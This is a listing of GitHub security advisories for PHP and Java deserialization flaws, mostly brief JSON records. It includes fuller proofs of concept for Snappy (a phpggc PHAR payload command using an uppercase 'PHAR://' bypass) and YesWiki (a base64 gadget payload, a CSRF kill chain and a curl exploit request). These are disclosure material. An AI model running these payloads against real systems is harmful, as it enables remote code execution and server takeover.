CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4801 vulnerabilities reference this CWE, most recent first.
GHSA-9284-M2HP-CFP4
Vulnerability from github – Published: 2026-02-26 09:30 – Updated: 2026-02-26 15:30Deserialization of Untrusted Data vulnerability in Stylemix uListing ulisting allows Object Injection.This issue affects uListing: from n/a through <= 2.2.0.
{
"affected": [],
"aliases": [
"CVE-2026-28138"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-26T09:16:15Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in Stylemix uListing ulisting allows Object Injection.This issue affects uListing: from n/a through \u003c= 2.2.0.",
"id": "GHSA-9284-m2hp-cfp4",
"modified": "2026-02-26T15:30:30Z",
"published": "2026-02-26T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28138"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ulisting/vulnerability/wordpress-ulisting-plugin-2-2-0-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-92G9-MV36-R4J5
Vulnerability from github – Published: 2023-12-20 15:30 – Updated: 2026-04-28 21:33Deserialization of Untrusted Data vulnerability in Themify Themify Ultra.This issue affects Themify Ultra: from n/a through 7.3.5.
{
"affected": [],
"aliases": [
"CVE-2023-46147"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-20T14:15:20Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in Themify Themify Ultra.This issue affects Themify Ultra: from n/a through 7.3.5.",
"id": "GHSA-92g9-mv36-r4j5",
"modified": "2026-04-28T21:33:27Z",
"published": "2023-12-20T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46147"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/themify-ultra/wordpress-themify-ultra-theme-7-3-3-authenticated-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-92HW-4JVJ-V9WW
Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35SAS Web Infrastructure Platform before 9.4M6 allows remote attackers to execute arbitrary code via a Java deserialization variant.
{
"affected": [],
"aliases": [
"CVE-2018-20732"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-17T01:29:00Z",
"severity": "CRITICAL"
},
"details": "SAS Web Infrastructure Platform before 9.4M6 allows remote attackers to execute arbitrary code via a Java deserialization variant.",
"id": "GHSA-92hw-4jvj-v9ww",
"modified": "2022-05-14T01:35:48Z",
"published": "2022-05-14T01:35:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20732"
},
{
"type": "WEB",
"url": "https://support.sas.com/kb/63/391.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106648"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-92RV-4J2H-8MJJ
Vulnerability from github – Published: 2023-09-08 12:17 – Updated: 2023-10-10 05:29Issue
On March 17th the vulnerability CVE-2023-28115 was disclosed, allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the phar:// wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the phar:// string, it can be bypassed to achieve remote code execution again using a different case.
As for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the phar:// wrapper.
Technical details
Description
The following patch was committed on the 1.4.2 release to fix CVE-2023-28115.

If the user is able to control the second parameter of the generateFromHtml() function of Snappy, it will then be passed as the $filename parameter in the prepareOutput() function. In the original vulnerability, a file name with a phar:// wrapper could be sent to the fileExists() function, equivalent to the file_exists() PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.
To fix this issue, the string is now passed to the strpos() function and if it starts with phar://, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using PHAR:// instead of phar://.
Proof of Concept
To illustrate the vulnerability, the /tmp/exploit file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using phpggc with the -f option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.
$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
The following index.php file will be used to trigger the vulnerability via the payload PHAR://exploit.phar.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
Finally once executed, the /tmp/exploit file is successfully created on the filesystem.
$ php index.php
Fatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634
Stack trace:
#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\Snappy\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)
#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\Snappy\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)
#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\Snappy\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)
#3 /var/www/index.php(12): Knp\Snappy\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')
#4 {main}
thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634
$ ls -l /tmp/exploit
-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit
This proof of concept is based on the original one published with CVE-2023-28115.
Impact
A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.
Patches
Synacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers http://, https:// or file:// be available on the function generateFromHtml().
Workarounds
Control user data submitted to the function AbstractGenerator->generate(...)
References
https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc
Credits
Rémi Matasse of Synacktiv (https://synacktiv.com/).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.2"
},
"package": {
"ecosystem": "Packagist",
"name": "knplabs/knp-snappy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41330"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-08T12:17:48Z",
"nvd_published_at": "2023-09-06T18:15:09Z",
"severity": "CRITICAL"
},
"details": "## Issue\n\nOn March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case.\n\nAs for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper.\n\n## Technical details\n\n### Description\n\nThe following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115.\n\n\n\nIf the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.\n\nTo fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`.\n\n### Proof of Concept\n\nTo illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.\n\n```bash\n$ phpggc -f Monolog/RCE1 exec \u0027touch /tmp/exploit\u0027 -p phar -o exploit.phar\n```\nThe following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`.\n\n```bash\n\u003c?php\n// index.php\n\n// include autoloader\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n// reference the snappy namespace\nuse Knp\\Snappy\\Pdf;\n\n$snappy = new Pdf(\u0027/usr/local/bin/wkhtmltopdf\u0027);\n$snappy-\u003egenerateFromHtml(\u0027\u003ch1\u003ePOC\u003c/h1\u003e\u0027, \u0027PHAR://exploit.phar\u0027);\n```\nFinally once executed, the `/tmp/exploit` file is successfully created on the filesystem.\n\n```bash\n$ php index.php \nFatal error: Uncaught InvalidArgumentException: The output file \u0027PHAR://exploit.phar\u0027 already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634\nStack trace:\n#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\\Snappy\\AbstractGenerator-\u003eprepareOutput(\u0027PHAR://exploit.phar\u0027, false)\n#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\\Snappy\\AbstractGenerator-\u003egenerate(Array, \u0027PHAR://exploit.phar\u0027, Array, false)\n#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\\Snappy\\Pdf-\u003egenerate(Array, \u0027PHAR://exploit.phar\u0027, Array, false)\n#3 /var/www/index.php(12): Knp\\Snappy\\AbstractGenerator-\u003egenerateFromHtml(\u0027\u003ch1\u003ePOC\u003c/h1\u003e\u0027, \u0027PHAR://exploit.phar\u0027)\n#4 {main}\n thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634\n \n$ ls -l /tmp/exploit\n-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit\n```\n\nThis proof of concept is based on the original one published with CVE-2023-28115.\n\n### Impact\n\nA successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.\n\n## Patches\nSynacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`.\n\n## Workarounds\nControl user data submitted to the function `AbstractGenerator-\u003egenerate(...)`\n\n## References\nhttps://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc\n\n## Credits\nR\u00e9mi Matasse of Synacktiv (https://synacktiv.com/).\n",
"id": "GHSA-92rv-4j2h-8mjj",
"modified": "2023-10-10T05:29:07Z",
"published": "2023-09-08T12:17:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41330"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/commit/d3b742d61a68bf93866032c2c0a7f1486128b67e"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-41330.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/KnpLabs/snappy"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-92rv-4j2h-8mjj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Snappy PHAR deserialization vulnerability"
}
GHSA-933G-H2F6-JR9C
Vulnerability from github – Published: 2022-10-08 00:00 – Updated: 2022-10-11 19:00In telephony, there is a possible escalation of privilege due to a parcel format mismatch. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07319121; Issue ID: ALPS07319121.
{
"affected": [],
"aliases": [
"CVE-2022-26471"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-07T20:15:00Z",
"severity": "HIGH"
},
"details": "In telephony, there is a possible escalation of privilege due to a parcel format mismatch. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07319121; Issue ID: ALPS07319121.",
"id": "GHSA-933g-h2f6-jr9c",
"modified": "2022-10-11T19:00:28Z",
"published": "2022-10-08T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26471"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/October-2022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-933G-V89R-X8PF
Vulnerability from github – Published: 2023-03-08 12:30 – Updated: 2023-03-14 19:59A deserialization vulnerability existed when dubbo generic invoke, which could lead to malicious code execution. This issue affects Apache Dubbo 2.7.x version 2.7.21 and prior versions; Apache Dubbo 3.0.x version 3.0.13 and prior versions; Apache Dubbo 3.1.x version 3.1.5 and prior versions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2.7.21"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.dubbo:dubbo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dubbo:dubbo"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dubbo:dubbo"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-23638"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-08T17:23:36Z",
"nvd_published_at": "2023-03-08T11:15:00Z",
"severity": "CRITICAL"
},
"details": "A deserialization vulnerability existed when dubbo generic invoke, which could lead to malicious code execution. This issue affects Apache Dubbo 2.7.x version 2.7.21 and prior versions; Apache Dubbo 3.0.x version 3.0.13 and prior versions; Apache Dubbo 3.1.x version 3.1.5 and prior versions.",
"id": "GHSA-933g-v89r-x8pf",
"modified": "2023-03-14T19:59:10Z",
"published": "2023-03-08T12:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23638"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Dubbo vulnerable to Deserialization of Untrusted Data"
}
GHSA-933H-C422-J33J
Vulnerability from github – Published: 2026-02-18 15:31 – Updated: 2026-02-18 15:31NVIDIA NeMo Framework contains a vulnerability where an attacker could cause remote code execution by loading a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.
{
"affected": [],
"aliases": [
"CVE-2025-33241"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T14:16:02Z",
"severity": "HIGH"
},
"details": "NVIDIA NeMo Framework contains a vulnerability where an attacker could cause remote code execution by loading a maliciously crafted file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.",
"id": "GHSA-933h-c422-j33j",
"modified": "2026-02-18T15:31:25Z",
"published": "2026-02-18T15:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33241"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5762"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-33241"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9342-C88M-74XW
Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48Zoho ManageEngine OpManager before 12.5.329 allows unauthenticated Remote Code Execution due to a general bypass in the deserialization class.
{
"affected": [],
"aliases": [
"CVE-2021-3287"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-22T13:15:00Z",
"severity": "CRITICAL"
},
"details": "Zoho ManageEngine OpManager before 12.5.329 allows unauthenticated Remote Code Execution due to a general bypass in the deserialization class.",
"id": "GHSA-9342-c88m-74xw",
"modified": "2022-05-24T17:48:08Z",
"published": "2022-05-24T17:48:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3287"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/network-monitoring/help/read-me-complete.html#125329"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164231/ManageEngine-OpManager-SumPDU-Java-Deserialization.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9348-W48R-3J8M
Vulnerability from github – Published: 2022-05-14 03:42 – Updated: 2022-05-14 03:42A Deserialization of Untrusted Data vulnerability in Hewlett Packard Enterprise Intelligent Management Center (iMC) PLAT version 7.3 E0504P2 was found.
{
"affected": [],
"aliases": [
"CVE-2017-8966"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-15T22:29:00Z",
"severity": "HIGH"
},
"details": "A Deserialization of Untrusted Data vulnerability in Hewlett Packard Enterprise Intelligent Management Center (iMC) PLAT version 7.3 E0504P2 was found.",
"id": "GHSA-9348-w48r-3j8m",
"modified": "2022-05-14T03:42:42Z",
"published": "2022-05-14T03:42:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8966"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03787en_us"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039684"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9369-69WJ-7M2F
Vulnerability from github – Published: 2026-07-09 21:02 – Updated: 2026-07-09 21:02Details
Sink
tools/bazar/services/CSVManager.php line 372-399:
public function importEntry(array $importedEntries, string $formId): ?array
{
if (!$this->importdone) {
// ...
foreach ($importedEntries as $entry) {
$entry = unserialize(base64_decode($entry)); // <-- SINK
$entry = array_map('strval', $entry);
// ...
There is no ['allowed_classes' => false] argument; arbitrary classes are instantiated. The subsequent array_map('strval', $entry) additionally exercises __toString on each top-level array element, doubling the magic-method surface available to a gadget chain.
Source
tools/bazar/actions/BazarImportAction.php:
// formatArguments()
'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :
(isset($_POST['importfiche']) ? 'importentries' : 'default'),
'importentries' => $_POST['importfiche'] ?? null,
// run()
case 'importentries':
// ...
$importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']);
break;
$_POST['importfiche'] flows directly to the sink. The mode switches to 'importentries' whenever the request body contains the key, so an attacker need only POST importfiche[0]=<payload>.
Reachability
-
The action is registered as
bazarimport. The defaultBazaRpage (setup/sql/default-content.sql->BazaRpage entry, ships with{{bazar showexportbuttons="1"}}) routes?BazaR&vue=importer&id_typeannonce=<N>toBazarAction::run()->case VOIR_IMPORTER -> callAction('bazarimport', ...)(tools/bazar/actions/BazarAction.php:257-258). So the sink is reachable on a default install with no extra page authoring. -
BazarImportAction::run()calls$this->checkSecuredACL()with the default$adminOnly=true. Only wiki admins (or accounts the admin has added to thebazarimportaction ACL) can execute it. -
The
importentriesbranch does NOT invokeCsrfTokenController::checkToken(...). Greppingtools/bazar/actions/BazarImportAction.phpconfirms the action class has nocsrforcheckTokenreference at all. This is asymmetric with sibling actions:tools/bazar/controllers/FormController.phpdoes callcheckToken('main', 'POST', 'confirmDeleteToken')for destructive operations. The import path skips the same protection. -
Therefore the full kill chain for a remote attacker is:
a. Identify any admin user on the target wiki.
b. Deliver an HTML page (email, chat, link) that auto-POSTs importfiche[0]=<base64-encoded PHPGGC payload> to https://<wiki>/?BazaR&vue=importer&id_typeannonce=1.
c. The admin's session cookie is sent automatically; the action passes checkSecuredACL; the unserialize fires.
Gadget chain availability
composer.json requires doctrine/annotations ^1.11 and doctrine/cache ^1.10. Both have published PHPGGC chains (Doctrine/RCE1, Doctrine/FW1, Doctrine/FW2, etc., from https://github.com/ambionics/phpggc). These chains terminate in either system($cmd) (RCE1) or file_put_contents($php_file, $contents) (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.
This advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.
Past advisories cross-check
YesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an unserialize / PHP-object-injection sink, so this is a novel vulnerability class for the project.
PoC
A self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled __destruct runs without booting the full application.
Run:
php poc.php
Output (verbatim):
Crafted importfiche[0] payload (form-ready, urlencoded):
YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D
== before importEntry ==
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'
PHP Fatal error: Uncaught Error: Object of class Gadget could not be converted to string ...
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'
The two [Gadget] __destruct fired lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined Gadget::__destruct executed -- with the attacker-supplied marker -- inside the unmodified importEntry code path.
End-to-end against a live YesWiki install:
curl -i -b "yeswiki_session=<admin_cookie>" \
-X POST "https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1" \
--data-urlencode \
"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ=="
(replace the payload with a real PHPGGC Doctrine/FW1 or Doctrine/RCE1 output to obtain RCE on the target host).
Impact
- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).
- An attacker who has already compromised an admin password upgrades from "wiki content management" to "OS shell on the hosting box".
- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify
wakka.config.php, dump the MySQL database, and pivot from there.
Suggested fix
tools/bazar/services/CSVManager.php::importEntry-- pass['allowed_classes' => false]tounserialize, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (?api/entries/{formId}POST intools/bazar/presentation/javascripts/bazar-import.js). The serialized-PHP transport appears to be an unused legacy path.tools/bazar/actions/BazarImportAction.php-- add aCsrfTokenController::checkToken('main', 'POST', 'csrf-token', false)guard for the'importentries'mode (and any other state-changing modes). The existingtools/bazar/controllers/FormController.phppattern can be lifted directly.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52777"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T21:02:58Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Details\n\n### Sink\n\n`tools/bazar/services/CSVManager.php` line 372-399:\n\n```\npublic function importEntry(array $importedEntries, string $formId): ?array\n{\n if (!$this-\u003eimportdone) {\n // ...\n foreach ($importedEntries as $entry) {\n $entry = unserialize(base64_decode($entry)); // \u003c-- SINK\n $entry = array_map(\u0027strval\u0027, $entry);\n // ...\n```\n\nThere is no `[\u0027allowed_classes\u0027 =\u003e false]` argument; arbitrary classes are instantiated. The subsequent `array_map(\u0027strval\u0027, $entry)` additionally exercises `__toString` on each top-level array element, doubling the magic-method surface available to a gadget chain.\n\n### Source\n\n`tools/bazar/actions/BazarImportAction.php`:\n\n```\n// formatArguments()\n\u0027mode\u0027 =\u003e (isset($_POST[\u0027submit_file\u0027]) \u0026\u0026 !empty($_FILES[\u0027fileimport\u0027][\u0027name\u0027])) ? \u0027submitfile\u0027 :\n (isset($_POST[\u0027importfiche\u0027]) ? \u0027importentries\u0027 : \u0027default\u0027),\n\u0027importentries\u0027 =\u003e $_POST[\u0027importfiche\u0027] ?? null,\n\n// run()\ncase \u0027importentries\u0027:\n // ...\n $importedEntries = $this-\u003eCSVManager-\u003eimportEntry($this-\u003earguments[\u0027importentries\u0027], $vID[\u0027id\u0027]);\n break;\n```\n\n`$_POST[\u0027importfiche\u0027]` flows directly to the sink. The `mode` switches to `\u0027importentries\u0027` whenever the request body contains the key, so an attacker need only POST `importfiche[0]=\u003cpayload\u003e`.\n\n### Reachability\n\n1. The action is registered as `bazarimport`. The default `BazaR` page (`setup/sql/default-content.sql` -\u003e `BazaR` page entry, ships with `{{bazar showexportbuttons=\"1\"}}`) routes `?BazaR\u0026vue=importer\u0026id_typeannonce=\u003cN\u003e` to `BazarAction::run()` -\u003e `case VOIR_IMPORTER -\u003e callAction(\u0027bazarimport\u0027, ...)` (`tools/bazar/actions/BazarAction.php:257-258`). So the sink is reachable on a default install with no extra page authoring.\n\n2. `BazarImportAction::run()` calls `$this-\u003echeckSecuredACL()` with the default `$adminOnly=true`. Only wiki admins (or accounts the admin has added to the `bazarimport` action ACL) can execute it.\n\n3. The `importentries` branch does NOT invoke `CsrfTokenController::checkToken(...)`. Grepping `tools/bazar/actions/BazarImportAction.php` confirms the action class has no `csrf` or `checkToken` reference at all. This is asymmetric with sibling actions: `tools/bazar/controllers/FormController.php` does call `checkToken(\u0027main\u0027, \u0027POST\u0027, \u0027confirmDeleteToken\u0027)` for destructive operations. The import path skips the same protection.\n\n4. Therefore the full kill chain for a remote attacker is:\n\n a. Identify any admin user on the target wiki.\n b. Deliver an HTML page (email, chat, link) that auto-POSTs `importfiche[0]=\u003cbase64-encoded PHPGGC payload\u003e` to `https://\u003cwiki\u003e/?BazaR\u0026vue=importer\u0026id_typeannonce=1`.\n c. The admin\u0027s session cookie is sent automatically; the action passes `checkSecuredACL`; the unserialize fires.\n\n### Gadget chain availability\n\n`composer.json` requires `doctrine/annotations ^1.11` and `doctrine/cache ^1.10`. Both have published PHPGGC chains (`Doctrine/RCE1`, `Doctrine/FW1`, `Doctrine/FW2`, etc., from https://github.com/ambionics/phpggc). These chains terminate in either `system($cmd)` (RCE1) or `file_put_contents($php_file, $contents)` (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.\n\nThis advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki\u0027s exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.\n\n### Past advisories cross-check\n\nYesWiki\u0027s published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an `unserialize` / PHP-object-injection sink, so this is a novel vulnerability class for the project.\n\n## PoC\n\nA self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled `__destruct` runs without booting the full application.\n\nRun:\n\n```\nphp poc.php\n```\n\nOutput 